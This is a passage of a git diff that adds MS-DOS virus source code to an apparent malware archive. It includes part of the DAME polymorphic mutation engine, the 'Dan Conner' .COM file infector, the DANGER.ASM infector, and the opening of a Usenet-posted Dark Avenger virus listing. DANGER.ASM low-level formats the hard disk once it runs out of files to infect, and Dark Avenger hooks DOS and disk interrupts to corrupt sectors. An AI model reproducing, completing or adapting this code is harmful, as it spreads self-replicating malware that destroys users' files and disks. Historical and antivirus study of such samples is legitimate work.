+_mov_reg_reg_push_pop: + push ax + xchg dx,ax + call _push ; PUSH REG2 + pop ax + jmp _pop ; POP REG1 + +_mov_reg_reg: + mov ah,08Bh + jmp short _mod_reg_rm_direction + +mov_xchg_reg_reg: + call one_in_two + js mov_reg_reg + +xchg_reg_reg: ; ax, dx preserved + mov si,offset xchg_reg_reg_table +go_handle_jmp_table2: + jmp short go_handle_jmp_table1 + +_xchg_reg_reg_push_pop: + push dx ax dx + call _push ; PUSH REG1 + pop ax + call _push ; PUSH REG2 + pop ax + call _pop ; POP REG1 + pop ax + jmp _pop ; POP REG2 + +_xchg_reg_reg_3rd_reg: + call free_regs + jne _xchg_reg_reg + + push dx ax + call get_another ; Get free register (reg3) + call mov_xchg_reg_reg ; MOV/XCHG REG3,REG2 + pop dx + call xchg_reg_reg ; XCHG REG3,REG1 + pop dx + xchg ax,dx + call mov_xchg_reg_reg ; MOV/XCHG REG2,REG3 + jmp clear_reg_dx + +_xchg_reg_reg: + or al,al + js __xchg_reg_reg + + cmp al,dl + jg _xchg_reg_reg_skip + xchg al,dl +_xchg_reg_reg_skip: + or dl,dl + jz _xchg_ax_reg +__xchg_reg_reg: + xchg al,dl + mov ah,87 + jmp short _mod_reg_rm +_xchg_ax_reg: + add al,90 + stosb + ret + +xor_reg_xxxx_xor_xor: + call get_rand_bx + push bx + xor dx,bx + call xor_reg_xxxx + pop dx + jmp short xor_reg_xxxx + +xor_reg_xxxx: + mov si,offset xor_reg_xxxx_table + jmp short go_handle_jmp_table2 + +_xor_reg_xxxx: + or al,030 + jmp _81h_ + +xor_reg_reg: + mov si,offset xor_reg_reg_table +go_handle_jmp_table3: + jmp short go_handle_jmp_table2 + +_xor_reg_reg: + mov ah,33 +; The following is the master encoder. It handles most traditional encodings +; with mod/reg/rm or mod/xxx/rm. +_mod_reg_rm_direction: + or al,al ; If al is a memory pointer, + js dodirection ; then we need to swap regs + or dl,dl ; If dl is a memory pointer, + js _mod_reg_rm ; we cannot swap registers + call one_in_two ; Otherwise there is a 50% + js _mod_reg_rm ; chance of swapping registers +dodirection: + xchg al,dl ; Swap the registers and adjust + sub ah,2 ; the opcode to compensate +_mod_reg_rm: + shl al,1 ; Move al to the reg field + shl al,1 + shl al,1 + or al,dl ; Move dl to the rm field +mod_xxx_rm: + or al,al ; Is al a memory pointer? + js no_no_reg ; If so, skip next line + + or al,0c0 ; Mark register in mod field +no_no_reg: + xchg ah,al + + test ah,40 + jnz exit_mod_reg_rm + + test cl,1 + jnz continue_mod_xxx_rm + + push ax + mov al,2e + stosb + pop ax +continue_mod_xxx_rm: + stosw + + mov si,cs:[bp] ; Store the patch location + add si,si ; for the memory in the + mov cs:[si+bp+2],di ; appropriate table for later + inc word ptr cs:[bp] ; adjustment + ; cs: overrides needed for bp + mov al,_relocate_amt + cbw +exit_mod_reg_rm: + stosw + ret + +add_reg_reg: + mov si,offset add_reg_reg_table + jmp short go_handle_jmp_table3 + +_add_reg_reg: + mov ah,3 + jmp short _mod_reg_rm_direction + +sub_reg_reg: + mov si,offset sub_reg_reg_table +go_handle_jmp_table4: + jmp short go_handle_jmp_table3 + +_sub_reg_reg: + mov ah,2bh + jmp short _mod_reg_rm_direction + +_add_reg_xxxx_inc_add: + call inc_reg + dec dx + jmp short add_reg_xxxx + +_add_reg_xxxx_dec_add: + call dec_reg + inc dx + jmp short add_reg_xxxx + +_add_reg_xxxx_add_add: + call get_rand_bx + push bx + sub dx,bx + call add_reg_xxxx + pop dx + jmp short add_reg_xxxx + +add_reg_xxxx1: + neg dx +add_reg_xxxx: + or dx,dx + jnz cont +return1: + ret +cont: + mov si,offset add_reg_xxxx_table + jmp go_handle_jmp_table4 + +_add_reg_xxxx: + or al,al + jz _add_ax_xxxx +_81h_: + or al,al + js __81h + add al,0c0 +__81h: + mov ah,81 +mod_xxx_rm_stosw: + call mod_xxx_rm +_encode_dx_: + xchg ax,dx + stosw + ret +_add_ax_xxxx: + mov al,5 +_encode_al_dx_: + stosb + jmp short _encode_dx_ + +sub_reg_xxxx1: + neg dx +sub_reg_xxxx: +_sub_reg_xxxx: + or dx,dx ; SUBtracting anything? + jz return1 ; If not, we are done + + or al,al ; SUB AX, XXXX? + jz _sub_ax_xxxx ; If so, we encode in 3 bytes + add al,028 ; Otherwise do the standard + jmp short _81h_ ; mod/reg/rm deal +_sub_ax_xxxx: + mov al,2dh + jmp short _encode_al_dx_ + +dec_reg: + push ax + add al,8 + jmp short _dec_inc_reg +inc_reg: + push ax +_dec_inc_reg: + or al,al + jns _norm_inc + mov ah,0ff + call mod_xxx_rm + pop ax + ret +_norm_inc: + add al,40 + stosb + pop ax + ret + +_mov_reg_reg_3rd_reg: + mov bx,offset mov_reg_reg + mov si,offset mov_xchg_reg_reg + or al,al ; Is reg1 a pointer register? + js reg_to_reg1 ; If so, we cannot use XCHG + jmp short reg_to_reg + +xor_reg_reg_reg_reg: + mov bx,offset _xor_reg_reg + jmp short reg_to_reg1 +add_reg_reg_reg_reg: + mov bx,offset _add_reg_reg + jmp short reg_to_reg1 +sub_reg_reg_reg_reg: + mov bx,offset _sub_reg_reg +reg_to_reg1: + mov si,bx +reg_to_reg: + call free_regs + jne no_free_regs + + push ax si + call get_another ; Get unused register (reg3) + call mov_reg_reg ; MOV REG3,REG2 + pop si dx + xchg ax,dx +finish_reg_clear_dx: + push dx + call si + pop ax + jmp clear_reg + +_xor_reg_xxxx_reg_reg: + mov bx,offset xor_reg_xxxx + mov si,offset xor_reg_reg +xxxx_to_reg: + call free_regs + jne no_free_regs + + push ax si + call get_another ; Get unused register (reg3) + call mov_reg_xxxx ; MOV REG3,XXXX + xchg ax,dx + pop si ax + + jmp short finish_reg_clear_dx +no_free_regs: + jmp bx + +_add_reg_xxxx_reg_reg: + mov bx,offset add_reg_xxxx + mov si,offset add_reg_reg + jmp short xxxx_to_reg + +_mov_reg_xxxx_reg_reg: + mov bx,offset mov_reg_xxxx + mov si,offset mov_xchg_reg_reg + jmp short xxxx_to_reg + +; The following are a collection of tables used by the various encoding +; routines to determine which routine will be used. The first line in each +; table holds the mask for the encoding procedure. The second line holds the +; default routine which is used when nesting is disabled. The number of +; entries in each table must be a power of two. To adjust the probability of +; the occurence of any particular routine, simply vary the number of times it +; appears in the table relative to the other routines. + +; The following table governs garbling. +garbletable: + db garbletableend - $ - 3 + dw offset return + dw offset return + dw offset return + dw offset return + dw offset return + + dw offset garble_tworeg + dw offset garble_tworeg + dw offset garble_tworeg + dw offset garble_onereg + dw offset garble_onereg + dw offset garble_onereg + + dw offset garble_onebyte + dw offset garble_onebyte + dw offset garble_onebyte + dw offset garble_jmpcond + + dw offset clear_PIQ +garbletableend: + +; This table is used by the one byte garbler. It is intuitively obvious. +onebytetable: + clc + cmc + stc + cld + std + sti + int 3 + lock + +; This table is used by the one register garbler. When each of the functions +; in the table is called, ax holds a random, unused register, and dx holds a +; random number. +oneregtable: + db oneregtableend - $ - 3 + dw offset xor_reg_xxxx + dw offset mov_reg_xxxx + dw offset sub_reg_xxxx + dw offset add_reg_xxxx + dw offset dec_reg + dw offset inc_reg + dw offset _ror + dw offset _rol +oneregtableend: + +; This table is used to determine the decryption method +oneregtable1: ; dx = random # + db oneregtable1end - $ - 3 + dw offset xor_reg_xxxx + dw offset sub_reg_xxxx + dw offset add_reg_xxxx + dw offset add_reg_xxxx + dw offset dec_reg + dw offset inc_reg + dw offset _ror + dw offset _rol +oneregtable1end: + +; This table is used to determine the encryption method +oneregtable2: ; dx = random # + db oneregtable2end - $ - 3 + dw offset xor_reg_xxxx + dw offset add_reg_xxxx + dw offset sub_reg_xxxx + dw offset sub_reg_xxxx + dw offset inc_reg + dw offset dec_reg + dw offset _rol + dw offset _ror +oneregtable2end: + +tworegtable: ; dl = any register + db tworegtableend - $ - 3 + dw offset xor_reg_reg + dw offset mov_reg_reg + dw offset sub_reg_reg + dw offset add_reg_reg +tworegtableend: + +tworegtable1: ; dl = any register + db tworegtable1end - $ - 3 + dw offset xor_reg_reg + dw offset xor_reg_reg + dw offset sub_reg_reg + dw offset add_reg_reg +tworegtable1end: + +tworegtable2: ; dl = any register + db tworegtable2end - $ - 3 + dw offset xor_reg_reg + dw offset xor_reg_reg + dw offset add_reg_reg + dw offset sub_reg_reg +tworegtable2end: + +mov_reg_xxxx_table: + db mov_reg_xxxx_table_end - $ - 3 + dw offset _mov_reg_xxxx + dw offset _mov_reg_xxxx_reg_reg + dw offset _mov_reg_xxxx_mov_add + dw offset _mov_reg_xxxx_mov_al_ah + dw offset _mov_reg_xxxx_mov_xor + dw offset _mov_reg_xxxx_xor_add + dw offset _mov_reg_xxxx_mov_rol + dw offset _mov_reg_xxxx_mov_ror + +mov_reg_xxxx_table_end: + +mov_reg_reg_table: + db mov_reg_reg_table_end - $ - 3 + dw offset _mov_reg_reg + dw offset _mov_reg_reg + dw offset _mov_reg_reg_3rd_reg + dw offset _mov_reg_reg_push_pop +mov_reg_reg_table_end: + +xchg_reg_reg_table: + db xchg_reg_reg_table_end - $ - 3 + dw offset _xchg_reg_reg + dw offset _xchg_reg_reg + dw offset _xchg_reg_reg_push_pop + dw offset _xchg_reg_reg_3rd_reg +xchg_reg_reg_table_end: + +xor_reg_xxxx_table: + db xor_reg_xxxx_table_end - $ - 3 + dw offset _xor_reg_xxxx + dw offset _xor_reg_xxxx + dw offset _xor_reg_xxxx_reg_reg + dw offset xor_reg_xxxx_xor_xor +xor_reg_xxxx_table_end: + +xor_reg_reg_table: + db xor_reg_reg_table_end - $ - 3 + dw offset _xor_reg_reg + dw offset xor_reg_reg_reg_reg +xor_reg_reg_table_end: + +add_reg_reg_table: + db add_reg_reg_table_end - $ - 3 + dw offset _add_reg_reg + dw offset add_reg_reg_reg_reg +add_reg_reg_table_end: + +sub_reg_reg_table: + db sub_reg_reg_table_end - $ - 3 + dw offset _sub_reg_reg + dw offset sub_reg_reg_reg_reg +sub_reg_reg_table_end: + +add_reg_xxxx_table: + db add_reg_xxxx_table_end - $ - 3 + dw offset _add_reg_xxxx + dw offset _add_reg_xxxx + dw offset _add_reg_xxxx_reg_reg + dw offset sub_reg_xxxx1 + dw offset _add_reg_xxxx_inc_add + dw offset _add_reg_xxxx_dec_add + dw offset _add_reg_xxxx_add_add + dw offset _add_reg_xxxx_add_add + +add_reg_xxxx_table_end: + +endif + +if not vars eq 0 ; if (vars != 0) + +; _nest is needed to prevent the infinite recursion which is possible in a +; routine such as the one used by DAME. If this value goes above the +; threshold value (defined as MAXNEST), then no further garbling/obfuscating +; will occur. +_nest db ? + +; This is used by the routine mod_reg_rm when encoding memory accessing +; instructions. The value in _relocate_amt is later added to the relocation +; value to determine the final value of the memory adjustment. For example, +; we initially have, as the encryption instruction: +; add [bx+0],ax +; Let's say _relocate_amt is set to 2. Now the instruction reads: +; add [bx+2],ax +; Finally, the relocate procedure alters this to: +; add [bx+202],ax +; or whatever the appropriate value is. +; +; This value is used in double word encryptions. +_relocate_amt db ? + +; Various memory locations which we must keep track of for calculations: +_loopstartencrypt dw ? +_loopstartdecrypt dw ? + +_encryptpointer dw ? +_decryptpointer dw ? + +_decryptpointer2 dw ? + +_start_encrypt dw ? +_start_decrypt dw ? + beginclear1: + +; _used_regs is the register tracker. Each byte corresponds to a register. +; AX = 0, CX = 1, DX = 2, etc. Each byte may be either set or zero. If it +; is zero, then the register's current value is unimportant to the routine. +; If it is any other value, then the routine should not play with the value +; contained in the register (at least without saving it first). +_used_regs db 8 dup (?) ; 0 = unused + +; The following four variables contain the addresses in current memory which +; contain the patch locations for the memory addressing instructions, i.e. +; XOR WORD PTR [bx+3212],3212 +; It is used at the end of the master encoding routine. +_encrypt_relocate_num dw ? +_encrypt_relocator dw 8 dup (?) + +_decrypt_relocate_num dw ? +_decrypt_relocator dw 10 dup (?) + endclear1: + +_encrypt_length dw ? ; The number of bytes to encrypt + ; (based upon alignment) +_counter_value dw ? ; Forwards or backwards +_decrypt_value dw ? ; Not necessarily the crypt key +_pointer_value1 dw ? ; Pointer register 1's initial value +_pointer_value2 dw ? ; Pointer register 2's initial value + +_counter_reg db ? +_encrypt_reg db ? +_pointer_reg1 db ? ; 4 = not in use +_pointer_reg2 db ? + +_pointer_rm db ? ; Holds r/m value for pointer registers +_maxnest db ? + +_kludge dw ? + +endif +--End DAME.ASM--Begin LAME.SCR------------------------------------------------- diff --git a/d/DAN.ASM b/d/DAN.ASM new file mode 100755 index 0000000..6c87976 --- /dev/null +++ b/d/DAN.ASM @@ -0,0 +1,121 @@ +; Dan Conner written by MuTaTiON INTERRUPT +; To compile this use TASM /M dan.asm +;--------- + + +code segment public 'code' + assume cs:code + org 100h ; All .COM files start here + +start: + db 0e9h,0,0 ; Jump to the next command + +virus: + mov ax,3524h ; Get int 24 handler + int 21h ; To ES:BX + mov word ptr [oldint24],bx ; Save it + mov word ptr [oldint24+2],es + + mov ah,25h ; Set new int 24 handler + mov dx,offset int24 ; DS:DX->new handler + int 21h + + push cs ; Restore ES + pop es ; 'cuz it was changed + + mov dx,offset comfilespec + call findfirst + + mov ah,9 ; Display string + mov dx,offset virusname + int 21h + + mov ax,2524h ; Restore int 24 handler + mov dx,offset oldint24 ; To original + int 21h + + push cs + pop ds ; Do this because the DS gets changed + + int 20h ; quit program + +findfirst: + mov ah,4eh ; Find first file + mov cx,7 ; Find all attributes + +findnext: + int 21h ; Find first/next file int + jc quit ; If none found then change dir + + call infection ; Infect that file + + mov ah,4fh ; Find next file + jmp findnext ; Jump to the loop + +quit: + ret + +infection: +quitinfect: + ret + +FinishInfection: + xor cx,cx ; Set attriutes to none + call attributes + + mov al,2 ; open file read/write + call open + + mov ah,40h ; Write virus to file + mov cx,eof-virus ; Size of virus + mov dx,100 + int 21h + +closefile: + mov ax,5701h ; Set files date/time back + push bx + mov cx,word ptr [bx]+16h ; Get old time from dta + mov dx,word ptr [bx]+18h ; Get old date + pop bx + int 21h + + mov ah,3eh ; Close file + int 21h + + xor cx,cx + mov bx,80h + mov cl,byte ptr [bx]+15h ; Get old Attributes + call attributes + + retn + +open: + mov ah,3dh ; open file + mov dx,80h+30 + int 21h + xchg ax,bx ; file handle in bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + mov dx,80h+30 + int 21h + ret +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return from int 24 call + +Virusname db 'Dan Conner - Anything You Say Dear...',10,13 +Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus +Made_with db '[NOVEMBER 1994]',10,13 ; Please do not remove this + db 'Hey: I LOVE ROSEANNE!','$' + +comfilespec db '*.com',0 ; Holds type of file to look for + +eof equ $ ; Marks the end of file + +oldint24 dd ? ; Storage for old int 24h handler + +code ends + end start + diff --git a/d/DANGER.ASM b/d/DANGER.ASM new file mode 100755 index 0000000..ad99a41 --- /dev/null +++ b/d/DANGER.ASM @@ -0,0 +1,284 @@ +;This program is a virus that infects all files, not just executables. It gets +;the first five bytes of its host and stores them elsewhere in the program and +;puts a jump to it at the start, along with the letters "GR", which are used to +;by the virus to identify an already infected program. The virus also save +;target file attributes and restores them on exit, so that date & time stamps +;aren't altered as with ealier TIMID\GROUCHY\T-HEH variants. +;when it runs out of philes to infect, it will do a low-level format of the HDD +;starting with the partition table. + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,SS:NOTHING + + ORG 100H + +;This is a shell of a program which will release the virus into the system. +;All it does is jump to the virus routine, which does its job and returns to +;it, at which point it terminates to DOS. + +HOST: + jmp NEAR PTR VIRUS_START ;Note: MASM is too stupid to assemble this correctly + db 'GR' + mov ah,4CH + mov al,0 + int 21H ;terminate normally with DOS + +VIRUS: ;this is a label for the first byte of the virus + +COMFILE DB '*.*',0 ;search string for any file +DSTRY DB 0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2, 0,0,7,2, 0,0,8,2, 0,0,9,2, 0,0,10,2, 0,0,11,2, 0,0,12,2, 0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2 +FATTR DB 0 +FTIME DW 0 +FDATE DW 0 + +VIRUS_START: + call GET_START ;get start address - this is a trick to determine the location of the start of this program +GET_START: ;put the address of GET_START on the stack with the call, + sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS + mov dx,OFFSET DTA ;put DTA at the end of the virus for now + mov ah,1AH ;set new DTA function + int 21H + call FIND_FILE ;get a file to attack + jnz DESTROY ;returned nz - go to destroy routine + call SAV_ATTRIB + call INFECT ;have a good file to use - infect it + call REST_ATTRIB +EXIT_VIRUS: + mov dx,80H ;fix the DTA so that the host program doesn't + mov ah,1AH ;get confused and write over its data with + int 21H ;file i/o or something like that! + mov bx,[VIR_START] ;get the start address of the virus + mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore the 5 original bytes + mov WORD PTR [HOST],ax ;of the COM file to their + mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2] ;to the start of the file + mov WORD PTR [HOST+2],ax + mov al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4] ;to the start of the file + mov BYTE PTR [HOST+4],al + mov [VIR_START],100H ;set up stack to do return to host program + ret ;and return to host + +START_CODE: ;move first 5 bytes from host program to here + nop ;nop's for the original assembly code + nop ;will work fine + nop + nop + nop + +;-------------------------------------------------------------------------- +DESTROY: + mov AH,05H ;format hard disk starting at sector + mov DL,80H ;0 and continuing through sector 16 + mov DH,0H ;this should wipe out the master boot + mov CX,0000H ;record & partition table + + + mov AL,11H ;low-level format information stored + mov BX,OFFSET DSTRY ;at this OFFSET in the syntax 1,2,3,4, + int 13H ;where 1=track number,2=head number,3=sector number + ;and 4=bytes/sector with 2=512 bytes/sector + ret +;--------------------------------------------------------------------------- +;--------------------------------------------------------------------------- + + +;----------------------------------------------------------------------------- +;Find a file which passes FILE_OK +; +;This routine does a simple directory search to find a COM file in the +;current directory, to find a file for which FILE_OK returns with C reset. +; +FIND_FILE: + mov dx,[VIR_START] + add dx,OFFSET COMFILE - OFFSET VIRUS ;this is zero here, so omit it + mov cx,3FH ;search for any file, no matter what the attributes + mov ah,4EH ;do DOS search first function + int 21H +FF_LOOP: + or al,al ;is DOS return OK? + jnz FF_DONE ;no - quit with Z reset + call FILE_OK ;return ok - is this a good file to use? + jz FF_DONE ;yes - valid file found - exit with z set + mov ah,4FH ;not a valid file, so + int 21H ;do find next function + jmp FF_LOOP ;and go test next file for validity +FF_DONE: + ret + + +;-------------------------------------------------------------------------- +;Function to determine whether the file specified in FNAME is useable. +;if so return z, else return nz. +;What makes a phile useable?: +; a) There must be space for the virus without exceeding the +; 64 KByte file size limit. +; b) Bytes 0, 3 and 4 of the file are not a near jump op code, +; and 'G', 'R', respectively +; +FILE_OK: + mov ah,43H ;the beginning of this + mov al,0 ;routine gets the file's + mov dx,OFFSET FNAME ;attribute and changes it + int 21H ;to r/w access so that when + mov [FATTR],cl ;it comes time to open the + mov ah,43H ;file, the virus can easily + mov al,1 ;defeat files with a 'read only' + mov dx,OFFSET FNAME ;attribute. It leaves the file r/w, + mov cl,0 ;because who checks that, anyway? + int 21H + mov dx,OFFSET FNAME + mov al,2 + mov ax,3D02H ;r/w access open file, since we'll want to write to it + int 21H + jc FOK_NZEND ;error opening file - quit and say this file can't be used (probably won't happen) + mov bx,ax ;put file handle in bx + push bx ;and save it on the stack + mov cx,5 ;next read 5 bytes at the start of the program + mov dx,OFFSET START_IMAGE ;and store them here + mov ah,3FH ;DOS read function + int 21H + + pop bx ;restore the file handle + mov ah,3EH + int 21H ;and close the file + + mov ax,WORD PTR [FSIZE] ;get the file size of the host + add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;and add the size of the virus to it + jc FOK_NZEND ;c set if ax overflows, which will happen if size goes above 64K + cmp BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jump op code? + jnz FOK_ZEND ;not a near jump, file must be ok, exit with z set + cmp WORD PTR [START_IMAGE+3],5247H ;ok, is 'GR' in positions 3 & 4? + jnz FOK_ZEND ;no, file can be infected, return with Z set +FOK_NZEND: + mov al,1 ;we'd better not infect this file + or al,al ;so return with z reset + ret +FOK_ZEND: + xor al,al ;ok to infect, return with z set + ret + +;-------------------------------------------------------------------------- +SAV_ATTRIB: + mov ah,43H + mov al,0 + mov dx,OFFSET FNAME + int 21H + mov [FATTR],cl + mov ah,43H + mov al,1 + mov dx, OFFSET FNAME + mov cl,0 + int 21H + mov dx,OFFSET FNAME + mov al,2 + mov ah,3DH + int 21H + mov [HANDLE],ax + mov ah,57H + xor al,al + mov bx,[HANDLE] + int 21H + mov [FTIME],cx + mov [FDATE],dx + mov ax,WORD PTR [DTA+28] + mov WORD PTR [FSIZE+2],ax + mov ax,WORD PTR [DTA+26] + mov WORD PTR [FSIZE],ax + ret +;------------------------------------------------------------------ +REST_ATTRIB: + mov dx,[FDATE] + mov cx, [FTIME] + mov ah,57H + mov al,1 + mov bx,[HANDLE] + int 21H + mov ah,3EH + mov bx,[HANDLE] + int 21H + mov cl,[FATTR] + xor ch,ch + mov ah,43H + mov al,1 + mov dx,OFFSET FNAME + int 21H + + mov ah,31H ;terminate/stay resident + mov al,0 ;and set aside 50 16-byte + mov dx,0032H ;pages in memory, just + int 21H ;to complicate things for the user + ;they might not notice this too quick! + ret +;--------------------------------------------------------------------------- +;This routine moves the virus (this program) to the end of the file +;Basically, it just copies everything here to there, and then goes and +;adjusts the 5 bytes at the start of the program and the five bytes stored +;in memory. +; +INFECT: + xor cx,cx ;prepare to write virus on new file; positon file pointer + mov dx,cx ;cx:dx pointer = 0 + mov bx,WORD PTR [HANDLE] + mov ax,4202H ;locate pointer to end DOS function + int 21H + + mov cx,OFFSET FINAL - OFFSET VIRUS ;now write the virus; cx=number of bytes to write + mov dx,[VIR_START] ;ds:dx = place in memory to write from + mov bx,WORD PTR [HANDLE] ;bx = file handle + mov ah,40H ;DOS write function + int 21H + + xor cx,cx ;now we have to go save the 5 bytes which came from the start of the + mov dx,WORD PTR [FSIZE] ;so position the file pointer + add dx,OFFSET START_CODE - OFFSET VIRUS ;to where START_CODE is in the new virus + mov bx,WORD PTR [HANDLE] + mov ax,4200H ;and use DOS to position the file pointer + int 21H + + mov cx,5 ;now go write START_CODE in the file + mov bx,WORD PTR [HANDLE] ;get file handle + mov dx,OFFSET START_IMAGE ;during the FILE_OK function above + mov ah,40H + int 21H + + xor cx,cx ;now go back to the start of host program + mov dx,cx ;so we can put the jump to the virus in + mov bx,WORD PTR [HANDLE] + mov ax,4200H ;locate file pointer function + int 21H + + mov bx,[VIR_START] ;calculate jump location for start of code + mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9 + mov ax,WORD PTR [FSIZE] ;and then the relative address + add ax,OFFSET VIRUS_START-OFFSET VIRUS-3 ;these go in the START_IMAGE area + mov WORD PTR [START_IMAGE+1],ax + mov WORD PTR [START_IMAGE+3],5247H ;and put 'GR' ID code in + + mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE + mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE + mov bx,WORD PTR [HANDLE] ;file handle + mov ah,40H ;DOS write function + int 21H + + ret ;all done, the virus is transferred + +FINAL: ;label for last byte of code to be kept in virus when it moves + +ENDVIRUS EQU $ + 212 ;label for determining space needed by virus + ;Note: 212 = FFFF - FF2A - 1 = size of data space + ; $ gives approximate size of code required for virus + + ORG 0FF2AH + +DTA DB 1AH dup (?) ;this is a work area for the search function +FSIZE DW 0,0 ;file size storage area +FNAME DB 13 dup (?) ;area for file path +HANDLE DW 0 ;file handle +START_IMAGE DB 0,0,0,0,0 ;an area to store 3 bytes for reading and writing to file +VSTACK DW 50H dup (?) ;stack for the virus program +VIR_START DW (?) ;start address of VIRUS (overlays the stack) + + +MAIN ENDS + + + END HOST \ No newline at end of file diff --git a/d/DARK.ASM b/d/DARK.ASM new file mode 100755 index 0000000..03f9924 Binary files /dev/null and b/d/DARK.ASM differ diff --git a/d/DARKAPOC.ASM b/d/DARKAPOC.ASM new file mode 100755 index 0000000..5a3831f Binary files /dev/null and b/d/DARKAPOC.ASM differ diff --git a/d/DARKAV.ASM b/d/DARKAV.ASM new file mode 100755 index 0000000..f76fc1b --- /dev/null +++ b/d/DARKAV.ASM @@ -0,0 +1,1033 @@ +From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:44:15 1994 +Xref: netcom.com alt.comp.virus:509 +Path: netcom.com!ix.netcom.com!netnews +From: Zeppelin@ix.netcom.com (Mr. G) +Newsgroups: alt.comp.virus +Subject: Dark Avenger Virus +Date: 29 Nov 1994 13:13:46 GMT +Organization: Netcom +Lines: 1018 +Distribution: world +Message-ID: <3bf9ea$iep@ixnews1.ix.netcom.com> +References: +NNTP-Posting-Host: ix-pas2-10.ix.netcom.com + + DARK AVENGER VIRUS + + +code segment + assume cs:code,ds:code +copyright: + db 'Eddie lives...somewhere in time!',0 +date_stamp: + dd 12239000h +checksum: + db 30 + +; Return the control to an .EXE file: +; Restores DS=ES=PSP, loads SS:SP and CS:IP. + + + + + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; Returns control to a .COM file: +; Restores the first 3 bytes in the +; beginning of the file, loads SP and IP. + +exit_com: + + + + + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;This is incorrect + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; Program entry point + +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;A separate stack is supported +for + add sp,offset top_file+100h ;the .COM files, in order not to + sti ;overlap the stack by the +program + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; Looking for the address of INT 13h handler in ROM-BIOS + + xor ax,ax + push ax + mov ds,ax + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to +INT 40h + cmp ax,0f000h ;for diskettes if a hard disk is + jne nofdisk ;available + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;INT 41h usually points the +segment, + cmp ax,0f000h ;where the original INT 13h +vector is + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;Occasionally begins with: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC somewhere + lodsw + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;or with: + jne nxt ; TEST DL,80h + lodsw ; JNZ somewhere + cmp ax,7580h + jne nxt0 +intchk: + inc si ;then there is: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + pop ds + +; Check whether the program is present in memory: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + pop es + jmp go_program + +; Move the program to the top of memory: +; (it's full of rubbish and bugs here) + +bad_func: + pop es + mov ah,49h + int 21h + mov bx,0ffffh + mov ah,48h + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ;Reduction of the segment size +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +; Smash the next disk sector: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: 